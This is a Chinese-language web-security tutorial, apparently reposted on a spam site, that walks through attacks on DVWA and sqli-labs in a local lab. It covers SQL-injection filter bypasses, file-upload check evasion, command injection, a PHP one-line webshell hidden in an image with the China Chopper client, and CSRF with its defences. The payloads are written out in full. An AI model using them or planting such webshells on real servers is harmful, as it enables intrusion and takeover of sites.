濮阳杆衣贸易有限公司

主頁 > 知識庫 > 詳解SQL注入--安全(二)

詳解SQL注入--安全(二)

熱門標(biāo)簽:昌德訊外呼系統(tǒng) 400電話申請廠家現(xiàn)貨 徐涇鎮(zhèn)騰訊地圖標(biāo)注 福建外呼電銷機(jī)器人加盟 電話機(jī)器人的價格多少錢一個月 自己做地圖標(biāo)注需要些什么 天津公司外呼系統(tǒng)軟件 中國地圖標(biāo)注公司 百度地圖標(biāo)注要什么軟件

如果此文章有什么錯誤,或者您有什么建議,歡迎隨時聯(lián)系我,謝謝!
寫在前面:在前兩天初學(xué)SQL注入的基礎(chǔ)上,繼續(xù)在Metasploitable-Linux環(huán)境下進(jìn)行練習(xí)。
一、前面學(xué)習(xí)的SQL注入,那么當(dāng)然就有防注入。由于web注入危害較大,各種防御技術(shù)也層出不窮。

1、程序猿在寫代碼時會有意識的進(jìn)行防御設(shè)置,或者安全測試來封堵web注入
2、各大安全廠商生產(chǎn)的硬件或者軟件WAF產(chǎn)品

黑名單過濾技術(shù)

1、過濾sql關(guān)鍵字段
常見的關(guān)鍵字:and、or、union all select、引號、空格等等過濾
還有一些類似的技術(shù)不是過濾而是通過轉(zhuǎn)義函數(shù)或者剝離非法關(guān)鍵字

繞過方法:

  1. 1、大小寫變形(id=-1 UniOn sEleCt 1,2,3……)
  2. 2、編碼:hex碼、urlencode
  3. 3、注釋 ‘/or/'
  4. 4、過濾替換 (and–、or–||)
  5. 5、截斷

二、文件上傳漏洞

我們在上網(wǎng)時經(jīng)常會使用文件上傳的功能,比如上傳一個頭像圖片,上傳一個文件,上傳一個視頻等等,我都知道這是一個正常的功能,但是大家有沒有想過文件上傳后,服務(wù)器是怎么處理或者解析這些文件的呢,如果服務(wù)器在處理這些上傳文件的時候做的不夠安全,就會導(dǎo)致安全事件的發(fā)生,比如: 上傳web腳本文件讓服務(wù)器執(zhí)行

  1. (1)上傳木馬病毒文件誘導(dǎo)用戶或者管理員下載
  2. (2)上傳釣魚文件
  3. (3)上傳欺詐文件

文件上傳漏洞核心

要使得文件上傳攻擊能夠成功,一般需要滿足兩個要素:

  1. (1)包含webshell文件能夠成功被上傳到服務(wù)器上
  2. (2) 該文件能夠被服務(wù)器解析或者我們能訪問到該上傳文件

實(shí)現(xiàn)核心—上傳繞過技術(shù)

一般而言文件上傳遇到的檢測技術(shù): +

  1. (1)客戶端 javascript 檢測 (通常為檢測文件擴(kuò)展名)
  2. (2)服務(wù)端 MIME 類型檢測 (檢測 Content-Type 內(nèi)容)
  3. (3)服務(wù)端目錄路徑檢測 (檢測跟 path 參數(shù)相關(guān)的內(nèi)容)
  4. (4)服務(wù)端文件擴(kuò)展名檢測 (檢測跟文件 extension 相關(guān)的內(nèi)容)
  5. (5)服務(wù)端文件內(nèi)容檢測 (檢測內(nèi)容是否合法或含有惡意代碼)

客戶端檢測繞過(javascript 檢測)

這類檢測通常在上傳頁面里含有專門檢測文件上傳的 javascript 代碼最常見的就是檢測擴(kuò)展名是否合法,這類繞過很簡單。
做法:制作webshell文件(比如shell.php)—>修改為合法擴(kuò)展名(shell.png)—>burp攔截改為(shell.php) —>上傳

服務(wù)端檢測繞過(MIME 類型檢測)

該檢測是在服務(wù)器上進(jìn)行,主要檢查的是content-type類型值(白名單或者黑名單)。當(dāng)然這個繞過也簡單。
做法:制作webshell文件(比如shell.php,Content-Type: text/plain)—>burp攔截改為(sontent-Type: image/gif) —>上傳

服務(wù)器檢測繞過(目錄路徑檢測)

該檢測是在服務(wù)器上進(jìn)行,一般就檢測路徑是否合法,但稍微特殊一點(diǎn)的都沒有防御。 比如,shell.php.[\0].png [\0]、123.php0x00.png其中0x00是php、c語言的截斷符,就是說服務(wù)器在讀文件的時候讀到shell.php碰到【\0】就截止了當(dāng)做shell.php執(zhí)行了。 類似還有post提交文件shell.php%00.png
注:繞過后臺檢測,就是給他想要的文件后綴名,然后截斷真實(shí)的后綴

服務(wù)端檢測繞過(文件擴(kuò)展名檢測)

顧名思義就是檢查文件擴(kuò)展名,一般通過白黑名單防御。

1、黑名單 比如擴(kuò)展名不能包含 html、php、php3,php4,asp、exe、bat、jsp +文件名大小寫繞過用像 AsP,pHp 之類的文件名繞過黑名單檢測

  1. (1)名單列表繞過用黑名單里沒有的名單進(jìn)行攻擊,比如黑名單里沒有 asa 或 cer 之類
  2. (2)特殊文件名繞過 比如發(fā)送的 http 包里把文件名改成 test.asp. 或 test.asp_(下劃線為空格),這種命名方式在 windows 系統(tǒng)里是不被允許的,所以需要在 burp 之類里進(jìn)行修改,然后繞過驗(yàn)證后,會被 windows 系統(tǒng)自動去掉后面的點(diǎn)和空格,但要注意 Unix/Linux 系統(tǒng)沒有這個特性。
  3. (3)htaccess 文件攻擊 配合名單列表繞過,上傳一個自定義的.htaccess,就可以輕松繞過各種檢測
  4. (4)解析調(diào)用/漏洞繞過這類漏洞直接配合上傳一個代碼注入過的非黑名單文件即可,再利用解析調(diào)用/漏洞
  5. (5)白名單檢測

2、白名單相對來說比黑名單安全一些,但也不見得就絕對安全了

(1)0x00 截斷繞過

用像 test.asp%00.jpg 的方式進(jìn)行截斷,屬于白名單文件,再利用服務(wù)端代碼的檢測邏輯漏洞進(jìn)行攻擊,目前我只遇到過 asp 的程序有這種漏洞 + 解析調(diào)用/漏洞繞過這類漏洞直接配合上傳一個代碼注入過的白名單文件即可,再利用解析調(diào)用/漏洞

(2).htaccess 文件攻擊

在 PHP manual 中提到了下面一段話 move_uploaded_file section, there is a warning which states ‘If the destination file already exists, it will be overwritten.' 如果 PHP 安全沒配置好就可以通過 move_uploaded_file 函數(shù)把自己寫的.htaccess 文件覆蓋掉服務(wù)器上的這樣就能任意定義解析名單了

服務(wù)端檢測繞過(文件內(nèi)容檢測)

如果文件內(nèi)容檢測設(shè)置得比較嚴(yán)格,那么上傳攻擊將變得非常困難也可以說它是在代碼層檢測的最后一道關(guān)卡如果它被突破了,就算沒有代碼層的漏洞也給后面利用應(yīng)用層的解析漏洞帶來了機(jī)會。

(1)文件幻數(shù)頭檢查
主要是檢測文件內(nèi)容開始處的文件幻數(shù),比如:要繞過 jpg Value = FF D8 FF E0 00 10 4A 46 49 46。 要繞過 gif 文件幻數(shù)檢測 Value = 47 49 46 38 39 61 要繞過 png 文件幻數(shù)檢測 Value = 89 50 4E 47

(2)文件相關(guān)信息檢測

圖像文件相關(guān)信息檢測常用的就是 getimagesize()函數(shù)只需要把文件頭部分偽造好就 ok 了,就是在幻數(shù)的基礎(chǔ)上還加了一些文件信息有點(diǎn)像下面的結(jié)構(gòu)

GIF89a

(...some binary data for image...)
 ?php phpinfo(); ?>
(... skipping the rest of binary data ...)

(3)文件加載檢測

這個是最變態(tài)的檢測了,一般是調(diào)用 API 或函數(shù)去進(jìn)行文件加載測試常見的是圖像渲染測試,再變態(tài)點(diǎn)的甚至是進(jìn)行二次渲染,對渲染/加載測試的攻擊方式是代碼注入繞過對二次渲染的攻擊方式是攻擊文件加載器自身。

三、

1、(1)先將對應(yīng)網(wǎng)址復(fù)制到下方,點(diǎn)擊Load URL,然后點(diǎn)擊Execute


(2)構(gòu)造閉合,得到數(shù)據(jù)庫名–dvwa,然后按照之前的套路發(fā)現(xiàn)系統(tǒng)報錯,報錯信息如下



系統(tǒng)自動加入了\符號,是構(gòu)造的函數(shù)出現(xiàn)錯誤,這時我們應(yīng)規(guī)避這種現(xiàn)象,使系統(tǒng)不為構(gòu)造函數(shù)自動添加特殊符號,對上述這種情況,可以使用hex碼將字符串dvwa轉(zhuǎn)換為十六進(jìn)制(變?yōu)?x……),這樣將不會在構(gòu)造函數(shù)中使用到單引號符號,此時系統(tǒng)將不再自動為構(gòu)造函數(shù)添加特殊字符,破壞構(gòu)造函數(shù)。

(3)同理,按照之前所使用的SQL語句,爆數(shù)據(jù)。

2、以Less-25為例

(1)

http://192.168.122.130/sqli-labs-master/Less-25/?id=-1' union all select 1,2,database()--+	//根據(jù)回顯構(gòu)造閉合,爆出database()

(2)

http://192.168.122.130/sqli-labs-master/Less-25/?id=-1' union all select 1,table_name,column_name from infoorrmation_schema.columns where table_name = table_name aAndnd table_schema = database()--+	//爆出表名table_name、列名column_name

(3)

http://192.168.122.130/sqli-labs-master/Less-25/?id=-1' union all select 3,2,id from emails--+	//爆出數(shù)據(jù)

小結(jié):首先不斷構(gòu)造閉合輸入,觀察回顯,發(fā)現(xiàn)系統(tǒng)過濾了“and”字符串,以及“+”(+ 相當(dāng)于空格鍵)

然后我們猜測使用大小寫混合的and,或者交叉不連續(xù)出現(xiàn)and,或者使用其他字符代替and–如(主要目的是為了使用and),又或者使用hex碼、urlencode轉(zhuǎn)化的方法;同理,字符串“or”,或者在單詞中出現(xiàn)的or(如information)也可以使用上述的方法。關(guān)鍵在于繞過系統(tǒng)的過濾,達(dá)到一定的目的

3、以Less-26為例

and字符與Less-25相同的道理,過濾掉的空格可以使用 %20 --空格、或者TAB鍵的編碼、或者換行鍵的編碼

4、以http://192.168.122.130/DVWA-1.9/vulnerabilities/exec/為例,界面如下,是一個可以ping的界面


該界面存在漏洞即可以使用連接符號在ping的同時完成其他動作,當(dāng)在輸入欄輸入127.0.0.1 || pwd,出現(xiàn)情況如下


發(fā)現(xiàn)界面中出現(xiàn)了當(dāng)前文件目錄,然后我們可以利用此漏洞獲取一些想得到的數(shù)據(jù)
在此提及“一句話木馬”

echo '?php @eval($_POST[123]);?>' > 123.php

[有時為了不讓受害人發(fā)現(xiàn),常把其他形式的語句與“一句話木馬”連用

 ?php fputs(fopen("345.php","w")),?php @eval($_POST[1234]);?>' >1234.php

四、結(jié)合File Inclusion與File Upload實(shí)現(xiàn)攻擊

(1)在http://192.168.122.130/DVWA-1.9/security.php下選擇DVWA security為Low
然后File Upload上傳一個帶有一句話木馬的.php文件,然后通過已知的目錄,將信息添加到中國菜刀,獲取所有目錄—此時可以實(shí)現(xiàn)對文件的篡改、刪除、上傳等操作(有時可以通過重命名文件名來達(dá)到繞過的目的:123.png0x00.php —此處0x00代表命名結(jié)束)

使用中國菜刀,進(jìn)行下圖所示的添加—針對 echo ‘?php @eval($_POST[123]);?>' > 123.php

然后就可以通過中國菜刀獲取目錄如下:

(2)在http://192.168.122.130/DVWA-1.9/security.php下選擇DVWA security為Medium
此時上傳.php文件會回顯錯誤,無法上傳,所以我們將木馬文件格式改為支持上傳的格式,png格式的文件中有一句話木馬—此處以png格式為例


手動設(shè)置瀏覽器代理



啟動BurpLoader,進(jìn)行抓包改名處理!


然后Action->Send to Repeater,然后在Repeater中點(diǎn)擊Go,觀察右邊窗口,發(fā)現(xiàn)文件已經(jīng)上傳,打開中國菜刀,按照之前的步驟訪問即可。

(3)在http://192.168.122.130/DVWA-1.9/security.php下選擇DVWA security為High

首先看到圖片已經(jīng)上傳,那么上傳的圖片一定是已經(jīng)經(jīng)過處理的(加入了一句話木馬),就是打開圖片編碼工具winhex,在編碼工具中加入一句話木馬,重新生成一個新的編碼后的圖片。

當(dāng)然也可以使用cmd命令:copy 1.png/b+123.php /a TCP.png。此處1.png為正常圖片,123.php為一句話木馬,將他們重新合成新的圖片取名為TCP.png,然后上傳,即可成功(上面使用的是cmd)。

圖片上傳完成后,不能像Medium等級那樣進(jìn)行抓包改名處理。應(yīng)該是web服務(wù)器端還有相應(yīng)的安全性處理。
此時需要我們手動觸發(fā)(當(dāng)然也可以等待被攻擊系統(tǒng)管理員點(diǎn)擊圖片觸發(fā))。觸發(fā)之后我們就可以使用同樣的方式,打開中國菜刀,進(jìn)行目錄的獲取。

五、對于一些變態(tài)等級的處理思路:

compare,觀察上傳前與上傳后哪些地方?jīng)]有變(通過二異性),然后對上傳數(shù)據(jù)做出一定的修改,從而達(dá)到一定目的。
一些其他的攻擊方法:

  1. 1、以http://192.168.122.130/DVWA-1.9/vulnerabilities/upload/為例,在圖片中寫入觸發(fā)指令,當(dāng)管理員敲某命令時執(zhí)行該圖片,執(zhí)行圖片中包含的代碼,即預(yù)埋一個常用的觸發(fā)指令!
  2. 2、找到要攻擊的系統(tǒng)默認(rèn)存儲臨時文件的具體位置,然后改變文件的內(nèi)容(比如說在文件中加入包含一句話木馬的可執(zhí)行文件等),達(dá)到預(yù)期的效果
  3. 3、對于會為上傳文件自動修改文件名的系統(tǒng),會使我們無法執(zhí)行我們上傳的非可執(zhí)行文件,此時我們可以這樣:因?yàn)樵O(shè)備處理文件是有一定限度的,可以每秒鐘高頻傳輸同一文件,使其后臺來不及修改其中一兩個文件的文件名,使之出現(xiàn)文件名不會被修改的情況,然后我們?nèi)绻梢栽L問到該文件,執(zhí)行即可進(jìn)行攻擊!

六、CSRF:Cross site Request Forgery跨棧請求偽造(利用cookie值)

構(gòu)造一個URL,誘導(dǎo)受害人點(diǎn)擊鏈接,從而利用受害人的cookie來實(shí)現(xiàn)受害人在自己不知道的情況下修改密碼

http://192.168.122.130/DVWA-1.9/vulnerabilities/csrf/?password_new=1234password_conf=1234Change=Change#

舉例:比如說黑客使用自己的賬號密碼登錄某網(wǎng)站,然后點(diǎn)到修改密碼界面,構(gòu)造一個修改密碼的URL,當(dāng)黑客想進(jìn)行攻擊時就誘導(dǎo)某受害人(該受害人之前使用瀏覽器登錄網(wǎng)站時,瀏覽器中存有cookie)點(diǎn)擊之前構(gòu)造好的URL,然后在受害人不知道的情況下修改密碼,此密碼黑客知道,此時若攻擊成功,黑客就能使用之前構(gòu)造URL時構(gòu)造的密碼以受害人的身份登錄網(wǎng)站,進(jìn)行一系列操作!

當(dāng)下的一些防御手段:

1、可以使用驗(yàn)證碼進(jìn)行防御

2、需要原始密碼才能修改密碼的網(wǎng)站

3、防御手法:no-referrer-when-downgrade

從一個網(wǎng)站鏈接到另外一個網(wǎng)站會產(chǎn)生新的http請求,referrer是http請求中表示來源的字段。
no-referrer-when-downgrade表示從https協(xié)議降為http協(xié)議時不發(fā)送referrer給跳轉(zhuǎn)網(wǎng)站的服務(wù)器

4、防偽機(jī)制token,不同于cookie,可以堵住絕大多數(shù)CSRF攻擊(人手一個防偽碼,別人猜不出來,如果自己要改密碼,必須自己使用自己的token才能成功)—token需要無規(guī)律、最好是加密。

以上所述是小編給大家介紹的SQL注入安全詳解整合,希望對大家有所幫助,如果大家有任何疑問請給我留言,小編會及時回復(fù)大家的。在此也非常感謝大家對腳本之家網(wǎng)站的支持!

您可能感興趣的文章:
  • 淺析MySQL的注入安全問題
  • Python操作sqlite3快速、安全插入數(shù)據(jù)(防注入)的實(shí)例
  • PHP開發(fā)中常見的安全問題詳解和解決方法(如Sql注入、CSRF、Xss、CC等)
  • PHP的SQL注入實(shí)現(xiàn)(測試代碼安全不錯)

標(biāo)簽:黔西 陜西 荊門 駐馬店 鄂爾多斯 梅河口 北京 昌都

巨人網(wǎng)絡(luò)通訊聲明:本文標(biāo)題《詳解SQL注入--安全(二)》,本文關(guān)鍵詞  詳解,SQL,注入,安全,二,詳解,;如發(fā)現(xiàn)本文內(nèi)容存在版權(quán)問題,煩請?zhí)峁┫嚓P(guān)信息告之我們,我們將及時溝通與處理。本站內(nèi)容系統(tǒng)采集于網(wǎng)絡(luò),涉及言論、版權(quán)與本站無關(guān)。
  • 相關(guān)文章
  • 下面列出與本文章《詳解SQL注入--安全(二)》相關(guān)的同類信息!
  • 本頁收集關(guān)于詳解SQL注入--安全(二)的相關(guān)信息資訊供網(wǎng)民參考!
  • 推薦文章
    敦化市| 天全县| 内黄县| 南召县| 汕头市| 宜丰县| 泰兴市| 宜兰市| 哈巴河县| 黔江区| 蒙阴县| 洮南市| 新泰市| 潼关县| 金堂县| 克什克腾旗| 宜都市| 濮阳县| 博白县| 永仁县| 凤台县| 贵州省| 梁平县| 芦山县| 连城县| 明光市| 大庆市| 芷江| 濮阳县| 黄浦区| 南阳市| 怀仁县| 江津市| 沅陵县| 禹州市| 高邑县| 吉水县| 临漳县| 望江县| 临洮县| 沙洋县|